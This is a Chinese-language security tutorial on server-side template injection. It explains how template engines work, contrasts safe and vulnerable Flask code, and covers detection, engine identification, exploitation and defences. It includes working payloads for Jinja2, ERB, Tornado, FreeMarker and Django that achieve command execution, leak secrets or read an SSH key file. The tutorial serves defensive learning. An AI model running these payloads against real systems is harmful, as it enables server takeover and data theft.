免责声明:本文仅用于网络安全学习与研究目的,旨在帮助开发者理解 SSTI 漏洞原理以提升防御能力。请勿将文中涉及的技术用于未经授权的渗透测试或任何非法用途。未经目标系统所有者明确书面授权,对其进行安全测试属于违法行为。作者不对任何滥用行为承担责任。
一、模板引擎
在正式讲解 SSTI 之前,我们首先需要知道模板引擎的相关概念。
1、什么是模板引擎?
模板引擎是一种将数据 与展示逻辑分离的工具。它允许开发者定义包含占位符的模板文件,然后在运行时用实际数据填充这些占位符,最终生成完整的输出(通常是 HTML)。
模板 + 数据 → 模板引擎 → 最终输出
2、为什么需要模板引擎?
想象一下,你要为 10000 个用户生成个性化的欢迎页面。没有模板引擎时:
python
# ❌ 硬编码方式 ------ 噩梦
html = "<html><body><h1>欢迎, " + username + "!</h1><p>你有" + str(msg_count) + "条消息</p></body></html>"
有了模板引擎:
html
<!-- ✅ 模板文件 welcome.html -->
<html>
<body>
<h1>欢迎, {{ username }}!</h1>
<p>你有 {{ msg_count }} 条消息</p>
</body>
</html>
优势一目了然:代码更清晰、维护更容易、前后端职责分离。
3、模板引擎的核心功能
(1)变量插值
将变量值渲染到模板中,这是最基础的功能。
jinja2
{# Jinja2 示例 #}
Hello, {{ user.name }}!
你的余额是: {{ user.balance | round(2) }}
(2)控制结构
支持条件判断和循环。
jinja2
{# 条件判断 #}
{% if user.is_admin %}
<a href="/admin">管理后台</a>
{% else %}
<a href="/profile">个人中心</a>
{% endif %}
{# 循环 #}
<ul>
{% for item in product_list %}
<li>{{ item.name }} - ¥{{ item.price }}</li>
{% endfor %}
</ul>
(3)过滤器
对变量进行格式化处理。
jinja2
{{ "hello world" | upper }} {# → HELLO WORLD #}
{{ username | length }} {# → 字符串长度 #}
{{ content | truncate(100) }} {# → 截断为100字符 #}
{{ price | round(2) | string }} {# → 链式过滤器 #}
(4)模板继承
避免重复代码,实现页面布局复用。
html
<!-- base.html 父模板 -->
<html>
<head><title>{% block title %}默认标题{% endblock %}</title></head>
<body>
<nav>导航栏...</nav>
{% block content %}{% endblock %} <!-- 子模板填充这里 -->
<footer>页脚...</footer>
</body>
</html>
html
<!-- page.html 子模板 -->
{% extends "base.html" %}
{% block title %}商品详情{% endblock %}
{% block content %}
<h1>{{ product.name }}</h1>
{% endblock %}
4、常见模板引擎一览
| 语言 | 模板引擎 | 语法示例 |
|---|---|---|
| Python | Jinja2 | {``{ variable }} {% for %} |
| Python | Mako | ${variable} % for |
| Python | Tornado | {``{ variable }} |
| Java | Freemarker | ${variable} <#if> |
| Java | Thymeleaf | th:text="${variable}" |
| PHP | Twig | {``{ variable }} {% if %} |
| Ruby | ERB | <%= variable %> <% if %> |
| Node.js | Pug | = variable each |
| Node.js | EJS | <%= variable %> <% for %> |
| Go | html/template | {``{ .Variable }} |
5、模板引擎的工作原理
这是理解 SSTI 的关键部分。
① 读取模板文件
↓
② 词法分析(Lexing)
将模板拆分为 Token:
[文本块] [变量块] [标签块] ...
↓
③ 语法分析(Parsing)
构建抽象语法树(AST)
↓
④ 渲染(Rendering)
遍历 AST,结合数据上下文生成输出
↓
⑤ 返回最终 HTML 字符串
假设我们有这样一个模板和数据:
模板字符串:
<h1>Hello, {{ name }}!</h1>
{% if show_items %}
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
{% endif %}
数据上下文:
python
context = {
"name": "Alice",
"show_items": True,
"items": ["Apple", "Banana"]
}
(1)读取模板文件
没什么好说的,就是把上面那段模板字符串读进内存。
(2)词法分析
扫描器从左到右扫描模板,遇到 {``{、{%、{# 这些定界符就"切一刀",把模板拆成一个个 Token:
Token 1: TEXT "<h1>Hello, "
Token 2: VAR_START "{{"
Token 3: NAME "name"
Token 4: VAR_END "}}"
Token 5: TEXT "!</h1>\n"
Token 6: BLOCK_START "{%"
Token 7: NAME "if"
Token 8: NAME "show_items"
Token 9: BLOCK_END "%}"
Token 10: TEXT "\n<ul>\n "
Token 11: BLOCK_START "{%"
Token 12: NAME "for"
Token 13: NAME "item"
Token 14: NAME "in"
Token 15: NAME "items"
Token 16: BLOCK_END "%}"
Token 17: TEXT "\n <li>"
Token 18: VAR_START "{{"
Token 19: NAME "item"
Token 20: VAR_END "}}"
Token 21: TEXT "</li>\n "
Token 22: BLOCK_START "{%"
Token 23: NAME "endfor"
Token 24: BLOCK_END "%}"
Token 25: TEXT "\n</ul>\n"
Token 26: BLOCK_START "{%"
Token 27: NAME "endif"
Token 28: BLOCK_END "%}"
这一步的核心就是分类------每段内容是纯文本、变量、还是控制标签。
(3)语法分析
解析器消费这些 Token,构建出一棵 AST(抽象语法树)。用伪代码表示大致是:
Root
├── TextNode("Hello, ")
├── VariableNode(name="name")
├── TextNode("!</h1>\n")
└── IfNode(condition="show_items")
└── body:
├── TextNode("\n<ul>\n ")
├── ForNode(target="item", iterable="items")
│ └── body:
│ ├── TextNode("\n <li>")
│ ├── VariableNode(name="item")
│ └── TextNode("</li>\n ")
└── TextNode("\n</ul>\n")
注意关键变化:扁平的 Token 流变成了嵌套的树结构 。if 和 endfor 这些标签不再出现,它们的作用被体现在了树的父子关系中------ForNode 的 body 里装着循环体内容。
(4)渲染
遍历 AST,每个节点根据自己的类型做不同的事:
访问 TextNode("<h1>Hello, ") → 直接输出 "<h1>Hello, "
访问 VariableNode("name") → 查上下文,name="Alice" → 输出 "Alice"
访问 TextNode("!</h1>\n") → 直接输出 "!</h1>\n"
访问 IfNode("show_items") → 查上下文,show_items=True → 进入 body
访问 TextNode("\n<ul>\n ") → 直接输出
访问 ForNode("item" in "items")→ items=["Apple","Banana"],循环两次:
── 第1次迭代:item="Apple"
TextNode("\n <li>") → 输出
VariableNode("item") → 输出 "Apple"
TextNode("</li>\n ") → 输出
── 第2次迭代:item="Banana"
TextNode("\n <li>") → 输出
VariableNode("item") → 输出 "Banana"
TextNode("</li>\n ") → 输出
访问 TextNode("\n</ul>\n") → 直接输出
如果 show_items 是 False,IfNode 就直接跳过整个 body,<ul> 那一段根本不会出现。
(5)最终输出
把上面所有输出拼接起来:
html
<h1>Hello, Alice!</h1>
<ul>
<li>Apple</li>
<li>Banana</li>
</ul>
6、上下文
模板引擎在渲染时有一个"上下文"对象,包含所有可用的变量和对象:
python
# Flask + Jinja2 示例
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/profile/<username>')
def profile(username):
user = get_user(username)
# 将数据传入模板上下文
return render_template('profile.html',
user=user, # 可在模板中用 {{ user.xxx }}
title="个人主页") # 可在模板中用 {{ title }}
7、安全边界:转义
现代模板引擎默认会对输出进行 HTML 转义,防止 XSS:
jinja2
{# 假设 user_input = "<script>alert(1)</script>" #}
{{ user_input }}
{# 输出: <script>alert(1)</script> → 安全 ✅ #}
{{ user_input | safe }}
{# 输出: <script>alert(1)</script> → 危险 ⚠️ #}
二、SSTI
有了上面的基础知识,现在思考一个问题:如果用户提供的数据不在上下文中而是直接插入到模板之中了呢?
我们先回顾正确的做法,再看错误的做法,两者的对比就是 SSTI 的本质。
1、安全写法:用户数据在上下文中
python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
username = request.args.get('name', 'Guest')
# 用户数据作为"变量"传进上下文
template = '<h1>Hello, {{ username }}!</h1>'
return render_template_string(template, username=username)
此时工作流程是这样的:
① 模板字符串(开发者写死的): '<h1>Hello, {{ username }}!</h1>'
② 上下文数据(用户提供的): {"username": "Alice"}
③ 引擎渲染 → 输出: '<h1>Hello, Alice!</h1>'
关键点:模板的结构 是开发者定义的,用户只能影响数据 。{``{ username }} 这个占位符是开发者写的,用户提供的 "Alice" 只会被当作纯文本填进去。
即使用户输入 {``{ 7*7 }}:
上下文: {"username": "{{ 7*7 }}"}
输出: '<h1>Hello, {{ 7*7 }}!</h1>' ← 原样显示,不会被计算
因为引擎在词法分析阶段处理的是开发者写的模板,而不是用户输入。用户输入是在渲染阶段才以纯文本形式填入的,根本不会经过词法分析和语法分析。
2、危险写法:用户数据拼接进模板
python
@app.route('/greet')
def greet():
username = request.args.get('name', 'Guest')
# 用户数据被拼接进了模板字符串本身!
template = '<h1>Hello, ' + username + '!</h1>'
return render_template_string(template)
看出区别了吗?用户输入不再是上下文里的变量,而是模板字符串的一部分。
现在假设攻击者访问:
/greet?name={{ 7*7 }}
我们跟着模板引擎的工作流程一步一步走。
(1)拼接模板字符串
python
username = "{{ 7*7 }}"
template = '<h1>Hello, ' + '{{ 7*7 }}' + '!</h1>'
# 拼接结果:
# '<h1>Hello, {{ 7*7 }}!</h1>'
注意!这个字符串长得和安全写法的模板一模一样 ,但本质完全不同------这里的 {``{ 7*7 }} 是用户注入的,不是开发者写的。
(2)词法分析
引擎不知道也不关心这段模板是怎么来的,它只看到一段字符串,照常"切 Token":
Token 1: TEXT "<h1>Hello, "
Token 2: VAR_START "{{"
Token 3: EXPR "7*7" ← 攻击者注入的内容被识别为表达式!
Token 4: VAR_END "}}"
Token 5: TEXT "!</h1>"
对比安全写法,安全写法中引擎看到的 Token 3 是 NAME "username"(一个需要查上下文的变量名)。而这里 Token 3 是 EXPR "7*7"(一个会被计算的表达式)。
(3)语法分析
构建 AST:
Root
├── TextNode("<h1>Hello, ")
├── ExpressionNode(expression="7*7") ← 这里不再是查变量,而是计算表达式
└── TextNode("!</h1>")
(4)渲染
访问 TextNode("<h1>Hello, ") → 输出 "<h1>Hello, "
访问 ExpressionNode("7*7") → 计算 7*7 = 49 → 输出 "49"
访问 TextNode("!</h1>") → 输出 "!</h1>"
(5)最终输出
html
<h1>Hello, 49!</h1>
攻击者输入的 {``{ 7*7 }} 被模板引擎当作模板语法解析并执行了。
3、从计算到危害:攻击升级
7*7 只是个无害的概念验证。真正的危险在于,模板引擎的表达式求值往往能触及底层语言的能力。
以 Jinja2(Python)为例,攻击者可以逐步升级:
第一步:确认漏洞存在
{{ 7*7 }} → 49
第二步:探索可用对象
{{ config }} → 泄露 Flask 配置信息(可能包含密钥)
第三步:访问 Python 内置类
{{ ''.__class__.__mro__ }} → 获取字符串的继承链,找到 object 基类
第四步:遍历子类,寻找危险类
{{ ''.__class__.__mro__[1].__subclasses__() }} → 列出所有子类
第五步:找到可以执行命令的类(如 os._wrap_close),实现远程代码执行
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read() }}
一个简单的字符串拼接,最终可能导致服务器被完全控制。
4、根因对比
| 安全写法 | 危险写法 | |
|---|---|---|
| 用户输入的角色 | 上下文中的数据 | 模板字符串的一部分 |
| 引擎如何处理 | 渲染阶段以纯文本填入 | 词法分析阶段被解析为语法 |
{``{ 7*7 }} 的结果 |
原样显示 {``{ 7*7 }} |
计算并输出 49 |
| 安全性 | 用户无法影响模板结构 | 用户可以注入任意模板代码 |
5、一句话总结
SSTI(Server-Side Template Injection,服务端模板注入)是指攻击者的输入被拼接进模板字符串而非作为数据传入上下文,导致模板引擎将用户输入当作模板语法解析并执行,从而实现从信息泄露到远程代码执行的攻击。
三、构造 SSTI 攻击
攻击 SSTI 通常遵循以下三步流程:
检测 (Detect) → 识别 (Identify) → 利用 (Exploit)
SSTI 极易被误认为 XSS 或完全被忽视。任何允许用户输入进入模板的地方都应被视为潜在攻击面。防御的核心原则是永远将用户输入作为数据传入模板,而非拼接到模板中。
1、检测
SSTI 漏洞常被忽视,因为它只有在审计者刻意寻找时才容易发现。一旦发现,利用起来往往非常简单(尤其在未沙箱化的环境中)。
(1)Fuzz 测试
第一步是向模板中注入一组模板表达式中常见的特殊字符:
${{<%[%'"}}%\
如果服务器返回了异常/错误信息,说明注入的模板语法可能被服务端解析,这是存在 SSTI 的一个信号。
(2)纯文本上下文
在这种上下文中,用户输入在模板渲染时被直接拼接为字符串。
示例代码:
render('Hello ' + username)
检测方法:将参数设为数学表达式:
http://vulnerable-website.com/?username=${7*7}
如果输出为 Hello 49,则说明数学运算在服务端被执行,证明存在 SSTI。
这种情况有时会被误认为简单的 XSS 漏洞。
(3)代码上下文
用户输入被嵌入到模板表达式内部。
示例代码:
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
正常请求:
http://vulnerable-website.com/?greeting=data.username
输出:Hello Carlos
检测步骤:
(3.1)第一步:先注入 HTML 标签确认不是 XSS
?greeting=data.username<tag>
拼接后的模板源码:
html
Hello {{data.username<tag>}}
模板引擎渲染的时候,<tag> 会导致语法错误,出现页面空白、报错,或根本看不到 <tag> 的情况。
如果是普通 XSS (比如直接 print(greeting)),浏览器会收到 Hello data.username<tag>,<tag> 会变成真实 HTML 标签。
(3.2)第二步,尝试闭合模板语法并注入 HTML
?greeting=data.username}}<tag>
拼接后的模板源码:
html
Hello {{data.username}}</tag>}}
如果输出正确渲染了 Hello Carlos<tag>,则确认存在 SSTI。
2、识别模板引擎
检测到注入点后,下一步是确定正在使用哪种模板引擎。
(1)通过错误信息识别
提交无效语法通常就能暴露模板引擎信息。例如,无效表达式 <%=foobar%> 在 Ruby ERB 引擎中会触发如下错误:
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
(2)通过决策树识别
通过注入不同引擎特有的数学运算表达式,根据返回结果逐步排除,来确定引擎类型。
决策树逻辑:
${7*7} → 成功?
├── 是 → a] ${7*7} = 49
│ 进一步测试 → a] 可能是 Jinja2, Twig, 或其他
└── 否 → {{7*7}} → 成功?
├── 是 → {{7*'7'}} → 返回什么?
│ ├── 49 → Twig
│ └── 7777777 → Jinja2
└── 否 → 继续测试其他语法...
常见引擎及对应语法:
| 模板引擎 | 语法风格 | 语言 |
|---|---|---|
| Jinja2 | {``{ }} / {% %} |
Python |
| Twig | {``{ }} / {% %} |
PHP |
| FreeMarker | ${ } / <# > |
Java |
| Velocity | $variable / #directive |
Java |
| ERB | <%= %> |
Ruby |
| Tornado | {``{ }} / {% %} |
Python |
| Smarty | { } |
PHP |
| Handlebars | {``{ }} |
JavaScript |
| Pebble | {``{ }} / {% %} |
Java |
| Django | {``{ }} / {% %} |
Python |
同一载荷可能在多个引擎中都返回成功结果。例如
{``{7*'7'}}在 Twig 中返回49,在 Jinja2 中返回7777777。不要仅凭一次测试就下结论。
3、利用
确认漏洞存在并识别出模板引擎后,即可开始尝试利用。利用过程通常包含以下三个阶段:
(1)阅读文档
(1.1)学习基本语法
了解模板引擎的基本语法、关键函数和变量处理方式是第一步。
(1.2)查阅安全相关文档
许多模板引擎的文档中包含安全相关章节,列出了已知的危险行为和内置的安全限制。
(1.3)查找已知利用方法
由于主流模板引擎使用广泛,通常可以在互联网上找到已被公开的利用方法(documented exploits),可据此调整以适配目标。
各引擎利用示例:
- ERB (Ruby) :
<%= system("whoami") %> - Tornado (Python) :
{% import os %}{``{os.system('id')}} - FreeMarker (Java) :
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} - Handlebars (JS):查找公开的 RCE 利用链
- Django (Python) :
{% debug %}获取调试信息;{``{settings.SECRET_KEY}}泄露密钥
(2)探索环境
如果文档中没有现成的利用方法,下一步是探索模板运行环境,发现所有可访问的对象。
- 许多模板引擎会暴露一个 "self" 或 "environment" 对象,它充当命名空间,包含引擎支持的所有对象、方法和属性。
- 在 Java 模板中,可以尝试列出所有环境变量:
${T(java.lang.System).getenv()} - 需要特别关注开发者自定义的对象,这些对象更可能包含敏感信息或可利用的方法。
- 同一网站的不同模板中,可用对象可能不同,需逐一探索。
(3)构造自定义攻击
当没有现成利用方法时,需要自己构造攻击链。
(3.1)利用对象链
识别可访问的对象后,审查每个对象的方法和属性,寻找可以链式调用以实现任意代码执行或文件读写的路径。
(3.2)利用开发者自定义对象
网站可能将自定义的业务对象传入模板,这些对象可能暴露了危险的方法。例如某些对象可能提供文件操作方法,可以被利用来读取或删除服务器上的文件。
自定义利用示例(Tornado + 自定义对象):
# 设置目标文件为用户头像
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
# 通过 GDPR 删除功能删除该文件
user.gdprDelete()
即使无法实现 RCE,仍可通过 SSTI 实现文件读取、敏感数据泄露等高危攻击。
四、防御措施
1、避免用户输入进入模板
最根本的防御是不允许用户修改或提交模板。但有时业务需求无法完全避免。
2、使用无逻辑模板引擎
尽量使用 "logic-less" 模板引擎 (如 Mustache),这类引擎将逻辑与展示分离,大大减少了可被利用的攻击面。
3、沙箱化执行
在沙箱环境中执行用户代码,移除危险的模块和函数。但需要注意:沙箱绕过是一个常见问题,不应完全依赖沙箱。
4、容器化隔离
将模板执行环境部署在锁定的 Docker 容器中,即使攻击者实现了任意代码执行,其影响范围也被限制在容器内。
5、综合建议
| 防御层级 | 措施 | 效果 |
|---|---|---|
| 设计层 | 不允许用户输入进入模板 | 从根源消除风险 |
| 引擎选型 | 使用无逻辑模板引擎 (Mustache 等) | 大幅减少攻击面 |
| 运行时 | 沙箱化执行环境 | 限制可调用的功能 |
| 基础设施 | Docker 容器隔离 | 限制攻击影响范围 |
| 输入处理 | 将用户输入作为数据参数传入而非拼接 | 避免注入点产生 |